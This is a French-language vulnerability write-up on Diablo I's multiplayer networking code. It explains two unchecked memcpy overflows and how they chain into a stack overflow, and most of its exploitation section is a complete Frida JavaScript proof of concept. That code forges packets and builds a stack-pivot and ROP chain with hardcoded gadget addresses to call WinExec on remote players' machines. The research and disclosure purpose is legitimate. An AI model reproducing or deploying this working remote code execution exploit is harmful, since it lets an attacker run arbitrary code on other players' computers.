Diablo I

Introduction

Développé en 1996 par Blizzard North, Diablo est un jeu d’action hack & slash se déroulant dans un univers médiéval-fantastique. Le joueur y incarne un aventurier destiné à affronter le seigneur des ténèbres Diablo. GOG propose une version de Diablo I sans DRM et compatible avec les ordinateurs modernes, on peut d’ailleurs y jouer en réseau avec des amis.

Regardons donc s’il existe des bugs qui nous permetteraient d’obtenir une RCE (Remote Code Execution).

Vulnérabilités

Le code source du jeu issu d’un travail de rétro-ingénierie est disponible sur le github suivant: https://github.com/diasurgical/devilution/tree/master.

La fonction recv_plrinfo permet de recevoir les informations d’un joueur (or, nombre de points de vie, nombre de points de vie maximum, etc …) qui vient de se connecter à la session de jeu. Ces informations sont sauvegardées dans un emplacement disponible de netplr puis déballées dans un des emplacements disponible de plr via UnPackPlayer. Le paquet sur les informations de joueur peut être fragmenté, c’est l’expéditeur qui choisit la manière dont les informations de joueur sont fragmentées via les champs wOffset et wBytes.

Une vérification est réalisée sur le champ wOffset ce qui empêche d’écrire à un offset arbitraire de manière direct.

Il y a un risque au niveau du memcpy , aucun contrôle n’est fait sur le membre wBytes, par conséquent la fonction peut copier des octets en dehors du tableau netplr.

Extrait du fichier multi.cpp:

void recv_plrinfo(int pnum, TCmdPlrInfoHdr *p, BOOL recv)
{
	const char *szEvent;

	if (myplr == pnum) {
		return;
	}
	/// ASSERT: assert((DWORD)pnum < MAX_PLRS);

	if (sgwPackPlrOffsetTbl[pnum] != p->wOffset) {
		sgwPackPlrOffsetTbl[pnum] = 0;
		if (p->wOffset != 0) {
			return;
		}
	}
	if (!recv && sgwPackPlrOffsetTbl[pnum] == 0) {
		multi_send_pinfo(pnum, CMD_ACK_PLRINFO);
	}

	// [BUG] overflow
	memcpy((char *)&netplr[pnum] + p->wOffset, &p[1], p->wBytes); /* todo: cast? */
	sgwPackPlrOffsetTbl[pnum] += p->wBytes;
	if (sgwPackPlrOffsetTbl[pnum] != sizeof(*netplr)) {
		return;
	}
	[...]
	UnPackPlayer(&netplr[pnum], pnum, TRUE);
	[...]

Dans la fonction On_DLEVEL on retrouve un bug similaire. Sur le même modèle que recv_plrinfo, cette fonction reçoit des informations sur un niveau de jeu (objets, monstres, …) et les stocke temporairement dans une variable sgRecvBuf. Les informations sont ensuite importée dans le tableau sgLevels par la fonction DeltaImportData.

Extrait du fichier msg.cpp:

static DWORD On_DLEVEL(int pnum, TCmd *pCmd)
{
	TCmdPlrInfoHdr *p = (TCmdPlrInfoHdr *)pCmd;
	[...]
	/// ASSERT: assert(p->wOffset == sgdwRecvOffset);
	memcpy(&sgRecvBuf[p->wOffset], &p[1], p->wBytes); // [BUG] overflow
	sgdwRecvOffset += p->wBytes;
	return p->wBytes + sizeof(*p);

Exploitation

Voyons comment obtenir une exécution de code arbitraire avec ces vulnérabilités.

La première idée qui m’est venu à l’esprit est d’écraser un pointeur de fonction. Malheureusement les deux variables susceptibles de déborder se situent dans la bss (zone de données non initialisées) et il n’y a pas de pointeur de fonction.

Cependant, il existe une variable intéressante, szPlayerDescript, que l’on peut écraser via la seconde vulnérabilité. Cette variable contient le mot de passe de partie lors d’une session de jeu multijoueur. Elle est affichée en même temps que le nom de partie lorsque le joueur appuie sur le bouton map.

C’est un buffer de 128 octets, mais s’il ne se termine pas par un octet nul, le code est susceptible de provoquer un buffer overflow cette fois-ci sur la stack.

static void DrawAutomapText()
{
	char desc[256];
	int nextline = 20;

	if (gbMaxPlayers > 1) {
		strcat(strcpy(desc, "game: "), szPlayerName);
		PrintGameStr(8, 20, desc, COL_GOLD);
		nextline = 35;
		if (szPlayerDescript[0]) {
			strcat(strcpy(desc, "password: "), szPlayerDescript); // possible overflow
			PrintGameStr(8, 35, desc, COL_GOLD);
			[...]

L’affichage est conditionné par un boolean global, automapflag, qui change de valeur à chaque fois que l’on appuie sur le bouton. Malheureusement on ne peut pas écraser ce boolean car il est situé avant les variables sgRecvBuf et netplr.

if (automapflag) {
	DrawAutomap();
}

Cependant avec la première vulnérabilité on peut écraser le début du tableau plr. La fonction PM_DoDeath est déclenchée lorsqu’un joueur meurt, la dernière ligne de l’extrait de code est intéressante …

Extrait du fichier player.cpp:

BOOL PM_DoDeath(int pnum)
{
	if ((DWORD)pnum >= MAX_PLRS) {
		app_fatal("PM_DoDeath: illegal player %d", pnum);
	}

	if (plr[pnum]._pVar8 >= 2 * plr[pnum]._pDFrames) {
		if (deathdelay > 1 && pnum == myplr) {
			deathdelay--;
			if (deathdelay == 1) {
				deathflag = TRUE;
				if (gbMaxPlayers == 1) {
					gamemenu_on();
				}
			}
		}

		plr[pnum]._pAnimDelay = 10000;
		plr[pnum]._pAnimFrame = plr[pnum]._pAnimLen;
		dFlags[plr[pnum]._px][plr[pnum]._py] |= BFLAG_DEAD_PLAYER; // arbitrary OR
	}
	[...]

_px et _py sont deux entiers de 32 bits qui peuvent être contrôlés par la première vulnérabilité. L’espace d’adressage étant en 32 bits, en settant les bonnes valeurs on peut finalement réaliser un OU logique avec BFLAG_DEAD_PLAYER (4) sur la variable automapflag. Pour délencher la mort du joueur automatiquement, il suffit de setter _pmode à PM_DEATH (8).

Ci-dessous un schéma mémoire qui résume les différents bugs utilisés pour déclencher un stack buffer overflow dans la fonction DrawAutomapText.

Instrumentation

Pour déclencher la vulnérabilité il faut envoyer des paquets formatés de la manière suivante. Tout les paquets sont composé d’une entête qui s’etends jusqu’au champs wLen inclus. wLen indique la taille totale du paquet sur 2 octets. Le corps du paquet ne doit pas dépasser 493 octets.

Pour les paquets CMD_SEND_PLR_INFO et CMD_DLEVEL_0 le corps est formaté de la manière suivante:

  • bCmd : indique le type de paquet (CMD_xxx)
  • wOffset : offset sur 2 octets
  • wBytes : taille de la zone de données sur 2 octets

Cela permet au jeu d’envoyer des données, qui dépasseraient la taille maximum d’un message, en envoyant plusieurs paquets.

Pour éviter de réimplementer une majeure partie du protocole, j’ai décidé d’instrumenter le binaire. L’outil Frida1 qui permet de détourner des fonctions légitimes d’un binaire.

En détournant la fonction SNetSendMessage on peut inspecter les paquets qui sont envoyés, mais aussi envoyer ses propres paquets.

Exemple de snippet frida pour inspecter les paquets envoyés.

// pointeur vers SNetSendMessage
const SNetSendMessage_ptr = ptr('0x00469876');             
// déclaration du prototype de fonction                                              
const SNetSendMessage = new NativeFunction(SNetSendMessage_ptr,'int',['int','pointer','int'],'stdcall'); 
// remplacement de la fonction SNetSendMessage
Interceptor.replace(SNetSendMessage_ptr, new NativeCallback((pnum,data,len) => {                         
	var cmd_id = data.add(0x13).readU8();
	console.log("cmd_id  = " + cmd_id);
	// appel de  la fonction d'origine
	rc = SNetSendMessage(pnum,data,len);                                                                 
	return rc;
});

Le javascript crassou suivant est une preuve de concept qui exploite les deux vulnérabilités pour lancer la calculatrice.

Pour forger une structure plr valide, le script se base sur capture mémoire en jeu et modifie les champs nécessaires pour corrompre automapflag.

Une première ropchain effectue un stack pivot. Un stack pivot est une technique utilisée lorsqu’on manque d’espace sur la pile, l’idée est de détourner le pointeur de pile (ESP) vers une zone mémoire dont on contrôle le contenu.

A la fin de la première ropchain registre ESP pointe dans la section .data, sur le buffer sgRecvBuf. Les gadgets pour effectuer le pivot, ne doivent pas contenir d’octets nuls. Ils sont issus des bibliothèques propres au jeu Storm.dll et ddraw.dll qui ne sont pas soumise à l’ASLR.

La seconde ropchain, située dans la section .data, résouds l’adresse de WinExec et appelle la fonction avec le chemin de la calculatrice en arguments.

L’exploit fonctionne car l’ASLR n’est pas activé par défaut sous Windows 10.

const dump = [
	0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
	0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,
	0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4b,0x00,0x00,0x00,0x44,0x00,0x00,0x00,
	0x4b,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x4b,0x00,0x00,0x00,0x44,0x00,0x00,0x00,
	0x4b,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x30,0x00,0x38,0x06,
	0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,
	0x60,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x03,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x04,0x00,0x00,0x00,0xff,0xff,0xff,0xff,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x0a,0x00,
	0x53,0x65,0x72,0x76,0x65,0x72,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x1e,0x00,0x00,0x00,0x1e,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,
	0x0a,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x19,0x00,0x00,0x00,
	0x19,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0xa5,0x0f,0x00,0x00,0x80,0x11,0x00,0x00,0xa5,0x0f,0x00,0x00,0x80,0x11,0x00,0x00,
	0x47,0x00,0x00,0x00,0x80,0x02,0x00,0x00,0x80,0x02,0x00,0x00,0x80,0x02,0x00,0x00,
	0x80,0x02,0x00,0x00,0x50,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x34,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0xd0,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x64,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00];
	
Array.prototype.addU32L = function addU32L(value)
{
	return this.concat(value & 0xFF,(value >> 8) & 0xFF,(value >> 16) & 0xFF,(value >> 24) & 0xFF);
}

Array.prototype.addU16L = function addU16L(value)
{
	return this.concat(value & 0xFF,(value >> 8) & 0xFF);
}

const cmd = {
    STAND : 0,
    WALKXY : 1,
    ACK_PLRINFO : 2,
    SEND_PLRINFO : 54,
    DLEVEL_0 : 58
};

const PACKET_HDR_LEN  = 24;

function createPacket(cmd_id, offset, content)
{
    var length;
    if(content.hasOwnProperty("length"))
        length = content.length;
    else
        length = content.byteLength;

    var p = Memory.alloc(PACKET_HDR_LEN + length);
    p.writeU8(0);           // px
    p.add(1).writeU8(0);    // py
    p.add(2).writeU8(0);    // targx
    p.add(3).writeU8(0);    // targy 
    p.add(4).writeU32(0);   // php
    p.add(8).writeU32(0);   // pmhp
    p.add(12).writeU8(0);   // bstr 
    p.add(13).writeU8(0);   // bmag
    p.add(14).writeU8(0);   // bdex
    p.add(15).writeU16(0x6970);  // wCheck
    p.add(17).writeU16(PACKET_HDR_LEN + length);  // wLen
    p.add(19).writeU8(cmd_id);   // bCmd
    p.add(20).writeU16(offset);         // wOffset
    p.add(22).writeU16(length); // wBytes
    p.add(24).writeByteArray(content)
    return p;
}


const SNetSendMessage_ptr = ptr('0x00469876');

// int SNetSendMessage(int playerID, void *data, size_t data_len);
const SNetSendMessage = new NativeFunction(SNetSendMessage_ptr,'int',['int','pointer','int'],'stdcall');

var g_countPlrInfo = 0;
var g_exploited = false;

const ROPCHAIN_SIZE = 25;
const ptr_baseRopchain = 0x0066E4B0;
const psz_kernel32  = ptr_baseRopchain + ROPCHAIN_SIZE*4;
const psz_WinExec   = psz_kernel32 + "kernel32.dll".length + 1;
const psz_cacl      = psz_WinExec + "WinExec".length + 1;

const ptr_LoadLibraryA   = 0x15033124;
const ptr_GetProcAddress = 0x15033120;

const JMP_DWORD_PTR_EAX = 0x0040270a;  // jmp dword ptr [eax]
const POP_EAX = 0x0040acbb;            // pop eax ; ret
const MOV_DWORD_ECX_EAX = 0x0044fd87;  // mov dword ptr [ecx], eax ; ret
const POP_ECX = 0x00401cdf             // pop ecx ; ret
const JMP_EAX = 0x00419ddc             // jmp eax
const POP_ESI_EDI_EBP_EBX = 0x00471adc // pop esi ; pop edi ; pop ebp ; pop ebx ; ret
const POP_EDI_EBP_EBX = 0x00471adc + 1;
const POP_EBP_EBX = 0x00471adc + 2;
const POP_EBX = 0x00471adc + 3;

const MAX_DATA_LENGTH = 464;

function buildRopChain()
{
    var ropchain = [
        POP_EAX,             // [0]               
        ptr_LoadLibraryA,    // [1]
        JMP_DWORD_PTR_EAX,   // [2]
        POP_EDI_EBP_EBX,     // [3]
        psz_kernel32,        // [4] => kernel32.dll
        0,                   // [5] shadow stack   
        0,                   // [6]
        0,                   // [7]
        POP_ECX,             // [8]
        ptr_baseRopchain + 4 * 15, // [9] store at hModule
        MOV_DWORD_ECX_EAX,   // [10]
        POP_EAX,             // [11]
        ptr_GetProcAddress,  // [12]
        JMP_DWORD_PTR_EAX,   // [13]
        POP_EBP_EBX,         // [14]
        0,                   // [15] hModule      
        psz_WinExec,         // [16] lpProcName
        0,                   // [17]
        0,                   // [18]
        JMP_EAX,             // [19]
        POP_EBP_EBX,         // [20]
        psz_cacl,            // [21] lpCmdLine      
        1,                   // [22] uCmdShow
        0,                   // [23]
        0                    // [24]
    ];

    var len = (psz_cacl + "C:\\Windows\\System32\\calc.exe".length + 1) - ptr_baseRopchain;
    var buffer = Memory.alloc(len);
    for(let i = 0; i < ropchain.length; i++)
        buffer.add(i * 4).writeU32(ropchain[i]);

    buffer.add(psz_kernel32 - ptr_baseRopchain).writeUtf8String("kernel32.dll");
    buffer.add(psz_WinExec - ptr_baseRopchain).writeUtf8String("WinExec");
    buffer.add(psz_cacl - ptr_baseRopchain).writeUtf8String("C:\\Windows\\System32\\calc.exe");
    
    return buffer.readByteArray(len);
}

Interceptor.replace(SNetSendMessage_ptr, new NativeCallback((pnum,data,len) => {
    console.log("pnum = " + pnum);
    console.log("len  = " + len);

    var rc = 0;
    if(g_countPlrInfo == 3 && g_exploited == false)
    {
        var rop_payload = buildRopChain();

        var newpkt = createPacket(cmd.DLEVEL_0,0,rop_payload);
        rc = SNetSendMessage(-2,newpkt,PACKET_HDR_LEN + rop_payload.byteLength);
        
		var pivot_payload = new Array(0x80).fill(0x41);
		// sgwPackPlrOffsetTbl[0]
		pivot_payload = pivot_payload.addU16L(0x4141);
		// sgwPackPlrOffsetTbl[1]
		pivot_payload = pivot_payload.addU16L(0xed06);
		pivot_payload = pivot_payload.addU16L(0x4141);
		pivot_payload = pivot_payload.addU16L(0x4141);
		// padding
		pivot_payload = pivot_payload.concat(0x41,0x41,0x41,0x41);
		pivot_payload = pivot_payload.concat(Array(0x6A).fill(0x41));
		// need ropchain without null bytes in address
		pivot_payload = pivot_payload.addU32L(0x42424242); // EBP
		pivot_payload = pivot_payload.addU32L(0x180d159c); // pop eax ; ret
		pivot_payload = pivot_payload.addU32L(0x3b9919c8); // => 0x0066E4B0 ^ 0x3bfffd78
		pivot_payload = pivot_payload.addU32L(0x180bfba7); // xor eax, 0x3bfffd78 ; ret
		pivot_payload = pivot_payload.addU32L(0x1502ed03); // xchg esp, eax ; ret
		
        newpkt = createPacket(cmd.DLEVEL_0,0x8d14,pivot_payload);
        rc = SNetSendMessage(-2,newpkt,PACKET_HDR_LEN + pivot_payload.length);

        var plr_info = Memory.alloc(dump.length);
        plr_info.writeByteArray(dump)
        plr_info.writeU32(8);                     // pmode
        plr_info.add(4).writeU8(0xFF);            // walkpath
        plr_info.add(0x38).writeU32(0);           // px
        plr_info.add(0x3C).writeU32(0xffef1538);  // py
        plr_info.add(0x1F0).writeU32(0x28);       // _pVar8
        plr_info.add(0x7C).writeU32(0x0064BF20);  // _pDAnimData

        var bytes_sent = 0;
        var block_size = 0;

        while(bytes_sent < dump.length)
        { 
            if((dump.length - bytes_sent) > MAX_DATA_LENGTH)
                block_size = MAX_DATA_LENGTH;
            else
                block_size = dump.length - bytes_sent;

            var content = plr_info.add(bytes_sent).readByteArray(block_size);
            console.log("chunk len = "+ content.byteLength);
			
			var packet = createPacket(cmd.SEND_PLRINFO,0xed06 + bytes_sent,content);
            rc = SNetSendMessage(-2,packet,PACKET_HDR_LEN + content.byteLength);
            bytes_sent += block_size;
            Thread.sleep(0.01);
            console.log("rc = "+ rc);
        }
        
        g_exploited = true;
        return rc;
    }else if(g_countPlrInfo < 3)
    {
        var cmd_id = data.add(0x13).readU8();
        console.log("cmd_id  = " + cmd_id);
        rc = SNetSendMessage(pnum,data,len);
        if(cmd_id == cmd.SEND_PLRINFO)
            g_countPlrInfo++;
    }
    return rc;
},'int',['int','pointer','int'],'stdcall'));

Le PoC en vidéo,

Références

  1. Frida